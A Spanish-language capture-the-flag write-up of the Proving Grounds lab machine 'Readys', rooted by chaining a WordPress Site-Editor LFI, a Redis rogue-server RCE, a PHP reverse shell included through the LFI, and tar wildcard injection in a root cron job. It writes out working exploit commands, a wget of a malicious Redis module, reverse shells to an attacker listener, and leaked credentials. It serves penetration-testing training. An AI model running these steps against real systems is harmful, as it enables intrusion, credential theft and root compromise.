the_open_door
café
ESEN

Readys

Proving Grounds PracticeMediaLinux192.168.123.1665 min de lectura

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#wordpress#site-editor#lfi#cve-2018-7422#redis#redis-rogue-server#rce#tar-wildcard#cron#suid#oscp
TL;DR. Readys corre un WordPress 5.7.2 con el plugin Site-Editor 1.1.1, vulnerable a una LFI (CVE-2018-7422) (LFI de plugin WordPress). Con ella leemos /etc/redis/redis.conf y obtenemos la contraseña de Redis, que está expuesto en el 6379. Un rogue server carga un módulo malicioso y nos da RCE como el usuario redis (Redis rogue server RCE). Desde ahí dejamos un PHP en /dev/shm y lo ejecutamos vía la misma LFI: como el servidor web corre como alice, conseguimos su shell. Un cron de root ejecuta tar ... * sobre un directorio escribible, así que con wildcard injection (inyección de comodines en tar) ponemos el SUID a bash y somos root.

Reconocimiento#

Escaneo inicial#

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.


ping -c 1 192.168.123.166
64 bytes from 192.168.123.166: icmp_seq=1 ttl=61 time=33.3 ms

Barremos los puertos TCP:


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.123.166 -oG scan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 17:26 +0000
Initiating SYN Stealth Scan at 17:26
Scanning 192.168.123.166 [65535 ports]
Discovered open port 80/tcp on 192.168.123.166
Discovered open port 22/tcp on 192.168.123.166
Discovered open port 6379/tcp on 192.168.123.166
Completed SYN Stealth Scan at 17:27, 12.49s elapsed (65535 total ports)
Nmap scan report for 192.168.123.166
Host is up, received user-set (0.038s latency).
Scanned at 2026-01-18 17:26:51 UTC for 12s
Not shown: 65474 closed tcp ports (reset), 58 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 61
80/tcp   open  http    syn-ack ttl 61
6379/tcp open  redis   syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.58 seconds
           Raw packets sent: 67811 (2.984MB) | Rcvd: 65477 (2.619MB)

nmap -p22,80,6379 -sCV 192.168.123.166 -oN targetedScan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 17:27 +0000
Nmap scan report for 192.168.123.166 (192.168.123.166)
Host is up (0.030s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.7.2
|_http-title: Readys – Just another WordPress site
|_http-server-header: Apache/2.4.38 (Debian)
6379/tcp open  redis   Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.60 seconds

Tres servicios. El 80 es un WordPress 5.7.2 sobre Apache, y el 6379 es un Redis expuesto a la red, algo que no debería estar accesible desde fuera. La combinación huele a LFI/credenciales en WordPress que abran el Redis.

HTTP - TCP 80: WordPress#

Wappalyzer confirma el stack (WordPress 5.7.2 sobre Debian, MySQL, Apache):

Wappalyzer sobre la home de Readys: WordPress 5.7.2, Debian, MySQL, Apache HTTP, jQuery 3.5.1

Enumeramos plugins con wpscan, que identifica Site-Editor 1.1.1:


wpscan --url http://192.168.123.166/ --enumerate ap
...
[i] Plugin(s) Identified:

[+] site-editor
 | Location: http://192.168.123.166/wp-content/plugins/site-editor/
 | Latest Version: 1.1.1 (up to date)
 | Last Updated: 2017-05-02T23:34:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1.1 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.123.166/wp-content/plugins/site-editor/readme.txt
...

Site-Editor 1.1.1: LFI (CVE-2018-7422)#

searchsploit documenta una Local File Inclusion en esa versión exacta del plugin:


searchsploit 'site editor 1.1.1'
---------------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                                    |  Path
---------------------------------------------------------------------------------------------------------------------------
...
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion                                         | php/webapps/44340.txt
...
---------------------------------------------------------------------------------------------------------------------------

searchsploit -x php/webapps/44340.txt
  Exploit: WordPress Plugin Site Editor 1.1.1 - Local File Inclusion
      URL: https://www.exploit-db.com/exploits/44340
     Path: /usr/share/exploitdb/exploits/php/webapps/44340.txt
    Codes: CVE-2018-7422
 Verified: True
File Type: Unicode text, UTF-8 text

cat 44340.txt | grep -i proof -A 1
** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

El parámetro ajax_path del endpoint ajax_shortcode_pattern.php se incluye sin sanear, así que apunta a cualquier fichero del disco (LFI de plugin WordPress).

Explotación#

LFI: del /etc/passwd a las credenciales de Redis#

Confirmamos la LFI leyendo /etc/passwd:


curl http://192.168.123.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
...

curl http://192.168.123.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd 2>/dev/null | grep bash
root:x:0:0:root:/root:/bin/bash
alice:x:1000:1000::/home/alice:/bin/bash

Hay un usuario alice con shell. Como el 6379 está abierto, leemos la configuración de Redis a través de la misma LFI buscando su contraseña:


curl http://192.168.123.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf 2>/dev/null | grep -i pass
...
# use a very strong password otherwise it will be very easy to break.
requirepass Ready4Redis?

La directiva requirepass Ready4Redis? nos da la credencial de autenticación de Redis.

Redis: RCE vía rogue server#

Con la contraseña ya podemos autenticarnos contra Redis. Un Redis remoto y escribible permite ejecución de comandos cargando un módulo malicioso mediante la técnica del rogue server: nos hacemos pasar por un maestro de replicación, le servimos un .so con un comando nuevo y lo invocamos (Redis rogue server RCE).

Dejamos Penelope a la escucha en su 4444 por defecto, que es el puerto al que el exploit conecta de vuelta:


penelope
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.1.80 • 172.17.0.1 • 192.168.45.244

Usamos redis-rce junto al módulo exp.so:


git clone https://github.com/Ridter/redis-rce

cd redis-rce

wget https://github.com/n0b0dyCN/redis-rogue-server/raw/refs/heads/master/exp.so &>/dev/null

ls
README.md  exp.so  redis-rce.py  requirements.txt

python3 redis-rce.py -r 192.168.123.166 -p 6379 -L 192.168.45.244 -P 80 -f exp.so -a 'Ready4Redis?'
...
[*] Connecting to  192.168.123.166:6379 ...
[*] Sending SLAVEOF command to server
[+] Accepted connection from 192.168.123.166:6379
[*] Setting filename
[+] Accepted connection from 192.168.123.166:6379
[*] Start listening on 192.168.45.244:80
[*] Tring to run payload
[+] Accepted connection from 192.168.123.166:37003
[*] Closing rogue server ...

[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: r
[*] Open reverse shell ...
[*] Reverse server address: 192.168.45.244
[*] Reverse server port: 4444
[+] Reverse shell payload sent.
[*] Check at 192.168.45.244:4444
[*] Clean up..

Elegimos la opción de reverse shell y obtenemos ejecución como el usuario redis (uid 107):

redis-rce carga exp.so vía SLAVEOF y devuelve una reverse shell; penelope la mejora a PTY y el id muestra uid=107(redis)

[+] Got reverse shell from readys~192.168.123.166-Linux-x86_64 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/sessions/readys~192.168.123.166-Linux-x86_64/2026_01_18-18_46_09-389.log
redis@readys:/var/lib/redis$ id
uid=107(redis) gid=114(redis) groups=114(redis)

Post-explotación#

Pivote a alice: ejecutar PHP vía la LFI#

El usuario redis no tiene la flag; necesitamos a alice. Una pista clave: el directorio del sitio web pertenece a alice, lo que significa que el servidor web ejecuta el PHP con su identidad:


ls -l /var/www/
redis@readys:/dev/shm$ ls -l /var/www/
total 4
drwxr-xr-x 5 alice alice 4096 Nov 16  2021 html

Combinamos las dos primitivas. El payload sale de revshells.com, con nuestra IP y el puerto 4443, eligiendo la plantilla PHP PentestMonkey (la que espera un /bin/bash en el objetivo, que es lo que hay aquí).

Como redis, escribimos esa reverse shell PHP en un directorio legible por todos, /dev/shm (la home de redis no nos deja, pero /dev/shm sí):


nano rev.php
Unable to create directory /var/lib/redis/.local/share/nano/: Permission denied
It is required for saving/loading search history or cursor positions.

Press Enter to continue

ls -l
total 4
-rw-rw-r--  1 redis redis 2596 Jan 18 14:33 rev.php

Luego usamos la misma LFI para incluir ese rev.php. Al incluirlo, lo interpreta el servidor web, que corre como alice, y la reverse shell entra con su identidad:

http://192.168.123.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/dev/shm/rev.php

La petición sale del navegador, y la conexión llega al nc que estaba a la escucha en el 4443:


nc -nlvp 4443
listening on [any] 4443 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.123.166] 50410
Linux readys 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_
 14:34:44 up 53 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(alice) gid=1000(alice) groups=1000(alice)
bash: cannot set terminal process group (508): Inappropriate ioctl for
bash: no job control in this shell
alice@readys:/$ whoami
whoami
alice
alice@readys:/$

Local#


cat local.txt && whoami && ip a && hostname
e8497c48f57e473eca7b36e4d8f895e1
alice
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:9e:b0:69 brd ff:ff:ff:ff:ff:ff
    inet 192.168.123.166/24 brd 192.168.123.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe9e:b069/64 scope link
       valid_lft forever preferred_lft forever
readys

Escalada: wildcard injection en un cron de root#

Enumerando tareas programadas encontramos un cron de root que ejecuta un script de backup cada 3 minutos:


cat /etc/crontab
*/3 * * * * root /usr/local/bin/backup.sh

cat /usr/local/bin/backup.sh
#!/bin/bash

cd /var/www/html
if [ $(find . -type f -mmin -3 | wc -l) -gt 0 ]; then
tar -cf /opt/backups/website.tar *
fi

El fallo está en tar -cf ... *: el comodín * se expande a los nombres de fichero del directorio, y alice puede escribir en /var/www/html. Si creamos ficheros cuyos nombres sean opciones de tar, estas se cuelan como argumentos. tar admite --checkpoint y --checkpoint-action=exec=..., que ejecuta un comando (inyección de comodines en tar). Creamos los ficheros-opción y un payload que ponga el bit SUID a bash:


echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
echo 'chmod u+s /bin/bash' > payload.sh
chmod +x payload.sh
alice@readys:/var/www/html$ echo "" > '--checkpoint=1'
alice@readys:/var/www/html$ echo "" > '--checkpoint-action=exec=sh payload.sh'
alice@readys:/var/www/html$ echo 'chmod u+s /bin/bash' > payload.sh
alice@readys:/var/www/html$ chmod +x payload.sh

Hay que tocar algún fichero para que find -mmin -3 dispare el tar. En la siguiente ejecución del cron, root corre tar con nuestras opciones, ejecuta payload.sh y bash queda SUID. Un bash -p nos da root:


ls -l /bin/bash
bash -p
whoami
alice@readys:/var/www/html$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
alice@readys:/var/www/html$ bash -p
bash-5.0# whoami
root

Proof#


cat /root/proof.txt && whoami && hostname && ip a
6397e52868e96f9325c1234239cace0f
root
readys
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:9e:b0:69 brd ff:ff:ff:ff:ff:ff
    inet 192.168.123.166/24 brd 192.168.123.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fe9e:b069/64 scope link
       valid_lft forever preferred_lft forever

Cadena de ataque#

WordPress 5.7.2 + Site-Editor 1.1.1  --  LFI (CVE-2018-7422)
        │  leer /etc/redis/redis.conf -> requirepass Ready4Redis?
        ▼
Redis (6379) autenticado  --  rogue server + exp.so
        │  RCE como usuario redis
        ▼
redis escribe rev.php en /dev/shm  ->  LFI lo incluye  ->  Apache (alice) lo ejecuta
        ▼
shell como alice  (local.txt)
        │  cron root: tar -cf ... *  en /var/www/html escribible
        ▼
wildcard injection (--checkpoint-action=exec) -> SUID a bash -> root  (proof.txt)

Lecciones aprendidas#

  • Una LFI no se queda en leer /etc/passwd. Aquí encadenó dos saltos: primero filtró la contraseña de Redis y después sirvió de gatillo para ejecutar nuestro PHP con la identidad del servidor web. La misma primitiva, usada dos veces para dos fines distintos.
  • Redis sin red restringida es RCE. Expuesto y con contraseña conocida, el truco del rogue server carga un módulo nativo y ejecuta comandos. Redis debe escuchar solo en loopback y, aun así, no es un servicio pensado para estar expuesto.
  • Quién ejecuta el código importa tanto como el código. Pasamos de redis a alice sin contraseñas: bastó con que el proceso que interpreta el PHP corriera como alice. Conviene mirar siempre con qué identidad se ejecuta cada cosa.
  • tar * en un cron de root es un clásico letal. El comodín mezcla datos y argumentos; con --checkpoint-action=exec se convierte en ejecución como root. Hay que anclar rutas (./), evitar el glob o usar -- para cortar el parseo de opciones.
Cheatsheet de comandos 9 comandos

Repaso rápido